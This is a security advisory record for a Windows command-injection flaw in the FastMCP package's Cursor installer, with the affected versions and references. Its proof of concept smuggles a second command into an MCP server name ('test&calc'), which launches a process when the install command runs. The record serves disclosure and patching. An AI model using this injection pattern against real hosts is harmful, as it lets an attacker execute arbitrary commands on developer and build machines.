id: PYSEC-2026-1365
published: "2026-07-07T16:03:08.659725Z"
modified: "2026-07-07T17:24:07.868280Z"
aliases:
- CVE-2025-62801
- GHSA-rj5c-58rq-j5g5
summary: FastMCP vulnerable to windows command injection in FastMCP Cursor installer via server_name
details: "### Summary\nA command-injection vulnerability lets any attacker who can influence the server_name field of an MCP execute arbitrary OS commands on Windows hosts that run fastmcp install cursor\n\n### Details\n1. generate_cursor_deeplink(server_name, …) embeds server_name verbatim in a cursor://…?name= query string.\n2. open_deeplink() is invoked with shell=True only on Windows. That calls cmd.exe /c start <deeplink>.\n3. Any cmd metacharacter inside server_name (&, |, >, ^, …) escapes the start command and spawns an attacker-chosen process.\n\n### PoC\nserver.py \n```\n\nimport random\nfrom fastmcp import FastMCP\n\nmcp = FastMCP(name=\"test&calc\")\n\n@mcp.tool\ndef roll_dice(n_dice: int) -> list[int]:\n    \"\"\"Roll `n_dice` 6-sided dice and return the results.\"\"\"\n    return [random.randint(1, 6) for _ in range(n_dice)]\n\nif __name__ == \"__main__\":\n    mcp.run()\n```\n\nthen run in the terminal:\n`fastmcp install cursor server.py`\n\n### Impact\nOS Command / Shell Injection (CWE-78)\nEvery Windows host that runs fastmcp install cursor is at risk. Developers on their local workstations, CI/CD agents and corporate build machines alike."
affected:
- package:
    name: fastmcp
    ecosystem: PyPI
    purl: pkg:pypi/fastmcp
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 2.13.0
  versions:
  - 0.1.0
  - 0.2.0
  - 0.3.0
  - 0.3.1
  - 0.3.2
  - 0.3.3
  - 0.3.4
  - 0.3.5
  - 0.4.0
  - 0.4.1
  - "1.0"
  - 2.0.0
  - 2.1.0
  - 2.1.1
  - 2.1.2
  - 2.10.0
  - 2.10.1
  - 2.10.2
  - 2.10.3
  - 2.10.4
  - 2.10.5
  - 2.10.6
  - 2.11.0
  - 2.11.1
  - 2.11.2
  - 2.11.3
  - 2.12.0
  - 2.12.0rc1
  - 2.12.1
  - 2.12.2
  - 2.12.3
  - 2.12.4
  - 2.12.5
  - 2.13.0rc1
  - 2.13.0rc2
  - 2.13.0rc3
  - 2.2.0
  - 2.2.1
  - 2.2.10
  - 2.2.2
  - 2.2.3
  - 2.2.4
  - 2.2.5
  - 2.2.6
  - 2.2.7
  - 2.2.8
  - 2.2.9
  - 2.3.0
  - 2.3.0rc1
  - 2.3.1
  - 2.3.2
  - 2.3.3
  - 2.3.4
  - 2.3.5
  - 2.4.0
  - 2.5.0
  - 2.5.1
  - 2.5.2
  - 2.6.0
  - 2.6.1
  - 2.7.0
  - 2.7.1
  - 2.8.0
  - 2.8.1
  - 2.9.0
  - 2.9.1
  - 2.9.2
references:
- type: WEB
  url: https://github.com/jlowin/fastmcp/security/advisories/GHSA-rj5c-58rq-j5g5
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2025-62801
- type: PACKAGE
  url: https://github.com/jlowin/fastmcp
- type: PACKAGE
  url: https://pypi.org/project/fastmcp
- type: ADVISORY
  url: https://github.com/advisories/GHSA-rj5c-58rq-j5g5
severity:
- type: CVSS_V4
  score: CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N